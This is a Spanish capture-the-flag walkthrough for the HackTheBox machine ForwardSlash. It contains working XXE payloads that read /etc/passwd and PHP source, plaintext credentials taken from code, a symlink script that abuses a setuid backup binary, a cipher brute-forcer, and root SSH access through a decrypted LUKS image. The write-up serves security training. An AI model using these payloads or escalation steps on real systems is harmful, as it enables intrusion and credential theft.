ForwardSlash es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina ForwardSlash 10.10.10.183 a /etc/hosts como forwardslash.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 |
# Nmap 7.80 scan initiated Sat May 16 00:45:14 2020 as: nmap -sV -Pn -p- -oA forwardslash-nmap2 10.10.10.183 Nmap scan report for forwardslash.htb (10.10.10.183) Host is up (0.050s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat May 16 00:46:50 2020 -- 1 IP address (1 host up) scanned in 96.92 seconds |
En esta máquina no tenemos abiertos apenas servicios así que iremos directamente al puerto 80 donde vemos el siguiente portal web:
Enumeración
Escaneamos el portal con dirb mientras investigamos la web pero no encontramos prácticamente nada al respecto, sólo un fichero llamado note.txt con el siguiente contenido:
|
1 2 3 4 |
Pain, we were hacked by some skids that call themselves the "Backslash Gang"... I know... That name... Anyway I am just leaving this note here to say that we still have that backup site so we should be fine. -chiv |
En el mismo parece que chiv puede ser un posible usuario en la máquina y menciona que todavía está todo bien porque está disponible el site backup.
Añadiremos a nuestro fichero /etc/hosts dicho sitio para poder acceder al mismo:
|
1 2 |
10.10.10.183 forwardslash.htb 10.10.10.183 backup.forwardslash.htb |
Y accedemos al portal de backup donde vemos un formulario de login:
Puesto que no tenemos una cuenta, nos creamos una a través del enlace de “sign up now” y nos logueamos en el portal accediendo a la siguiente ventana en la url /welcome.php
En esta sección, tenemos varias opciones a nuestra disposición como cambiar el password, nombre de usuario, imagen de perfil, etc.
Procedemos a acceder a la sección de cambiar de perfil pero está deshabilitada así que la dejaremos, al menos de momento.
Al descubrir el portal, habíamos lanzado otra vez la herramienta dirb, y descubrimos otra página bajo el directorio de /dev donde disponemos de un formulario para el envío de datos por xml. En esta sección hicimos varias pruebas y es necesario que el usuario con el cual se accede tenga el nombre de admin, si no es el caso, la página devolverá un error 403 prohibiendo el acceso:
Esto nos da que pensar, ante la posibilidad de que el mismo sea vulnerable a XXE por lo que para comprobarlo lanzamos una primera consulta para obtener el fichero /etc/passwd con el siguiente payload:
|
1 2 3 4 5 6 7 8 |
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <api> <request>&xxe;</request> </api> |
Y conseguimos que nos devuelva el contenido del fichero:
Aquí conseguimos encontrar dos posibles usuarios potenciales con los que obtener acceso a la máquina, chiv y pain.
Después de esto procedemos a descargar diferentes ficheros del portal con la idea de encontrar las credenciales de alguno de los usuarios descubiertos y conseguimos la misma con el fichero index.php de este mismo directorio dev con la siguiente carga útil:
|
1 2 3 4 5 6 7 8 |
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/backup.forwardslash.htb/dev/index.php" > ]> <api> <request>&xxe;</request> </api> |
Decodificamos el contenido del base64 obtenido y conseguimos el código del fichero index.php que es el siguiente:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 |
<?php //include_once ../session.php; // Initialize the session session_start(); if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){ header('HTTP/1.0 403 Forbidden'); echo "<h1>403 Access Denied</h1>"; echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>"; //echo "<h2>Redirecting to login in 3 seconds</h2>" //echo '<meta http-equiv="refresh" content="3;url=../login.php" />'; //header("location: ../login.php"); exit; } ?> <html> <h1>XML Api Test</h1> <h3>This is our api test for when our new website gets refurbished</h3> <form action="/dev/index.php" method="get" id="xmltest"> <textarea name="xml" form="xmltest" rows="20" cols="50"><api> <request>test</request> </api> </textarea> <input type="submit"> </form> </html> <!-- TODO: Fix FTP Login --> <?php if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) { $reg = '/ftp:\/\/[\s\S]*\/\"/'; //$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))/' if (preg_match($reg, $_GET['xml'], $match)) { $ip = explode('/', $match[0])[2]; echo $ip; error_log("Connecting"); $conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n"); error_log("Logging in"); if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) { error_log("Getting file"); echo ftp_get_string($conn_id, "debug.txt"); } exit; } libxml_disable_entity_loader (false); $xmlfile = $_GET["xml"]; $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $api = simplexml_import_dom($dom); $req = $api->request; echo "-----output-----<br>\r\n"; echo "$req"; } function ftp_get_string($ftp, $filename) { $temp = fopen('php://temp', 'r+'); if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) { rewind($temp); return stream_get_contents($temp); } else { return false; } } ?> |
En el que vemos unas credenciales del usuario chiv en la siguiente línea:
|
1 |
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) { |
Probamos el acceso a la máquina y ya estamos dentro con el usuario chiv:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
$ ssh chiv@forwardslash.htb chiv@forwardslash.htb's password: Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sat May 16 16:41:48 UTC 2020 System load: 0.02 Processes: 183 Usage of /: 30.7% of 19.56GB Users logged in: 1 Memory usage: 20% IP address for ens33: 10.10.10.183 Swap usage: 0% * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 16 packages can be updated. 0 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Sat May 16 16:29:59 2020 from 10.10.14.73 chiv@forwardslash:~$ whoami chiv chiv@forwardslash:~$ |
Pero este usuario no tiene permisos para leer la flag así que seguiremos buscando.
Escalado de lateral
Ahora que ya estamos dentro, observamos que en el directorio /home existe otro usuario, pain, así que tendremos que escalar al mismo para conseguir la flag de user, que se encuentra en la home de este usuario.
Enumeramos el sistema y obtenemos dos cosas que pueden sernos muy útiles, por una parte el directorio /var/backups:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
chiv@forwardslash:/var/backups$ ls -l total 804 -rw-r--r-- 1 root root 61440 Mar 24 06:25 alternatives.tar.0 -rw-r--r-- 1 root root 38908 Mar 24 06:17 apt.extended_states.0 -rw-r--r-- 1 root root 4115 Mar 6 14:17 apt.extended_states.1.gz -rw-r--r-- 1 root root 3909 Mar 5 14:46 apt.extended_states.2.gz -rw------- 1 pain pain 526 Jun 21 2019 config.php.bak -rw-r--r-- 1 root root 437 Mar 5 14:07 dpkg.diversions.0 -rw-r--r-- 1 root root 207 Mar 5 14:47 dpkg.statoverride.0 -rw-r--r-- 1 root root 668374 Mar 24 06:17 dpkg.status.0 -rw------- 1 root root 730 Mar 17 20:13 group.bak -rw------- 1 root shadow 604 Mar 17 20:13 gshadow.bak -r--r--r-- 1 root root 129 May 27 2019 note.txt -rw------- 1 root root 1660 Mar 5 14:46 passwd.bak drwxrwx--- 2 root backupoperator 4096 May 27 2019 recovery -rw------- 1 root shadow 1174 Mar 6 14:21 shadow.bak chiv@forwardslash:/var/backups$ |
Donde encontramos el fichero config.php.bak para el cual sólo tiene permisos el usuario pain, y el fichero note.txt cuyo contenido es el siguiente:
|
1 2 3 |
Chiv, this is the backup of the old config, the one with the password we need to actually keep safe. Please DO NOT TOUCH. -Pain |
Nos dice que es el sitio del backup antiguo, y que no lo toquemos, así que obviamente, no vamos a hacer lo que nos dice, tendremos que tocarlo jaja.
Buscamos los posibles ficheros binarios a los cuales tenemos acceso y encontramos uno en particular muy interesante:
|
1 2 3 4 |
$ find / -perm /4000 2>/dev/null ... /usr/bin/backup ... |
Ejecutamos el mismo y obtenemos la siguiente salida:
|
1 2 3 4 5 6 7 8 9 10 |
chiv@forwardslash:~$ backup ---------------------------------------------------------------------- Pain's Next-Gen Time Based Backup Viewer v0.1 NOTE: not reading the right file yet, only works if backup is taken in same second ---------------------------------------------------------------------- Current Time: 19:36:49 ERROR: bf978ef517d1efa5192f1eee08e09deb Does Not Exist or Is Not Accessible By Me, Exiting... |
Parece que el script falla porque no existe el fichero o, porque no tenemos permisos en el mismo. Después de un rato investigando a fondo y comprobando las posibilidades creamos un script simple para tratar de obtener el fichero mencionado de /var/backups a través de un enlace y con el nombre del hash de la hora del sistema en el momento de la ejecución. El script es el siguiente:
|
1 2 3 4 5 6 |
#!/bin/bash time="$(date +%H:%M:%S | tr -d '\n' | md5sum | tr -d ' -')" echo "$time" ln -s /var/backups/config.php.bak /home/chiv/$time backup |
Ejecutamos el mismo y bingo, conseguimos el contenido del fichero config.php.bak al ejecutar el binario de backup:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
chiv@forwardslash:~$ ./time.sh 575933dc6924bf730b4eafc24e4c7b1c ---------------------------------------------------------------------- Pain's Next-Gen Time Based Backup Viewer v0.1 NOTE: not reading the right file yet, only works if backup is taken in same second ---------------------------------------------------------------------- Current Time: 19:35:18 <?php /* Database credentials. Assuming you are running MySQL server with default setting (user 'root' with no password) */ define('DB_SERVER', 'localhost'); define('DB_USERNAME', 'pain'); define('DB_PASSWORD', 'db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704'); define('DB_NAME', 'site'); /* Attempt to connect to MySQL database */ $link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME); // Check connection if($link === false){ die("ERROR: Could not connect. " . mysqli_connect_error()); } ?> chiv@forwardslash:~$ |
Y con ello la password del usuario pain.
Obteniendo la flag de user
Con las credenciales obtenidas escalamos al usuario pain y conseguimos la flag de user:
|
1 2 3 4 5 6 7 8 9 10 11 |
chiv@forwardslash:~$ su pain Password: pain@forwardslash:/home/chiv$ whoami pain pain@forwardslash:/home/chiv$ cd pain@forwardslash:~$ ls -l total 12 drwxr-xr-x 2 pain root 4096 May 16 21:52 encryptorinator -rw-r--r-- 1 pain root 256 Jun 3 2019 note.txt -rw------- 1 pain pain 33 May 16 20:05 user.txt pain@forwardslash:~$ |
Escalando privilegios a root
Estamos un poco más cerca de root así que revisaremos a continuación los permisos del usuario pain:
|
1 2 3 4 5 6 7 8 9 |
pain@forwardslash:/var/backups$ sudo -l Matching Defaults entries for pain on forwardslash: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User pain may run the following commands on forwardslash: (root) NOPASSWD: /sbin/cryptsetup luksOpen * (root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/ (root) NOPASSWD: /bin/umount ./mnt/ pain@forwardslash:/var/backups$ |
Y observamos la carpeta recovery a la que no teníamos acceso antes:
|
1 2 3 4 |
pain@forwardslash:/var/backups$ ls -l recovery/ total 976568 -rw-r----- 1 root backupoperator 1000000000 Mar 24 12:12 encrypted_backup.img pain@forwardslash:/var/backups$ |
Parece que el backup está encriptado, así que siguiendo con la búsqueda encontramos un directorio llamado encryptorinator en la home del usuario pain y en la misma un script en python y un fichero con un texto cifrado:
|
1 2 3 4 5 |
pain@forwardslash:~$ ls -l encryptorinator/ total 8 -rw-r--r-- 1 pain root 165 Jun 3 2019 ciphertext -rw-r--r-- 1 pain root 931 Jun 3 2019 encrypter.py pain@forwardslash:~$ |
Analizamos el script en python y su código es el siguiente:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
def encrypt(key, msg): key = list(key) msg = list(msg) for char_key in key: for i in range(len(msg)): if i == 0: tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1]) else: tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1]) while tmp > 255: tmp -= 256 msg[i] = chr(tmp) return ''.join(msg) def decrypt(key, msg): key = list(key) msg = list(msg) for char_key in reversed(key): for i in reversed(range(len(msg))): if i == 0: tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1])) else: tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1])) while tmp < 0: tmp += 256 msg[i] = chr(tmp) return ''.join(msg) print encrypt('REDACTED', 'REDACTED') print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED')) |
Tenemos la función a través de la cual se ha cifrado y el código para descifrarlo pero parece que vamos a necesitar algo más, creamos nuestro exploit en python, cuyo contenido es el siguiente:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
def decrypt(key, msg): key = list(key) msg = list(msg) for char_key in reversed(key): for i in reversed(range(len(msg))): if i == 0: tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1])) else: tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1])) while tmp < 0: tmp += 256 msg[i] = chr(tmp) return ''.join(msg) ciphertext = open('ciphertext', 'r').read().rstrip() for i in range(1,165): for n in range(33,127): key = chr(n) * i msg = decrypt(key, ciphertext) if 'the ' in msg : print "key: %s, key length: %s, msg: %s" %(key,len(key),msg) exit() |
Como se aprecia, copiamos el código de descifrado, y le añadimos el código para abrir el fichero e ir comprobando el decodificado realizado. Ejecutaremos el mismo y obtenemos el siguiente texto descifrado:
|
1 |
key: ttttttttttttttttt, key length: 17, msg: Hl��vF��;�������&you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf |
Y tenemos la clave para descifrar el fichero de imagen que encontramos en la ruta del backup.
Volviendo a los permisos de sudo de los que disponía el usuario:
|
1 2 3 4 |
User pain may run the following commands on forwardslash: (root) NOPASSWD: /sbin/cryptsetup luksOpen * (root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/ (root) NOPASSWD: /bin/umount ./mnt/ |
Podemos descifrar cualquier archivo con luks, montar la unidad de /dev/mapper/backup sobre ./mnt y desmontar la unidad sobre mnt, así que procedemos en primer paso a descifrar el archivo de imagen encontrado:
|
1 2 3 |
pain@forwardslash:/dev/mapper$ sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup Enter passphrase for /var/backups/recovery/encrypted_backup.img: pain@forwardslash:/dev/mapper$ |
Posteriormente lo montamos:
|
1 2 |
pain@forwardslash:/$ sudo /bin/mount /dev/mapper/backup ./mnt/ pain@forwardslash:/$ |
Y revisamos el contenido:
|
1 2 3 4 5 |
pain@forwardslash:/$ ll /mnt/ total 8 drwxr-xr-x 2 root root 20 Mar 17 20:07 ./ drwxr-xr-x 24 root root 4096 Mar 24 06:17 ../ -rw-r--r-- 1 root root 1675 May 27 2019 id_rsa |
Y tenemos una clave para el acceso de ssh del usuario root.
Obteniendo la flag de root
Con la clave ssh obtenida, probamos el acceso como root a la máquina:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
$ ssh -i id_rsa root@forwardslash.htb The authenticity of host 'forwardslash.htb (10.10.10.183)' can't be established. ECDSA key fingerprint is SHA256:7DrtoyB3GmTDLmPm01m7dHeoaPjA7+ixb3GDFhGn0HM. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'forwardslash.htb,10.10.10.183' (ECDSA) to the list of known hosts. Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sat May 16 19:17:57 UTC 2020 System load: 0.03 Processes: 200 Usage of /: 30.9% of 19.56GB Users logged in: 1 Memory usage: 21% IP address for ens33: 10.10.10.183 Swap usage: 0% => There is 1 zombie process. * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 16 packages can be updated. 0 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Tue Mar 24 12:11:46 2020 from 10.10.14.3 root@forwardslash:~# id uid=0(root) gid=0(root) groups=0(root) root@forwardslash:~# root@forwardslash:~# ls -l total 4 -rw------- 1 root root 33 May 16 13:53 root.txt root@forwardslash:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respecto en el siguiente enlace https://www.hackthebox.eu/home/users/profile/103792
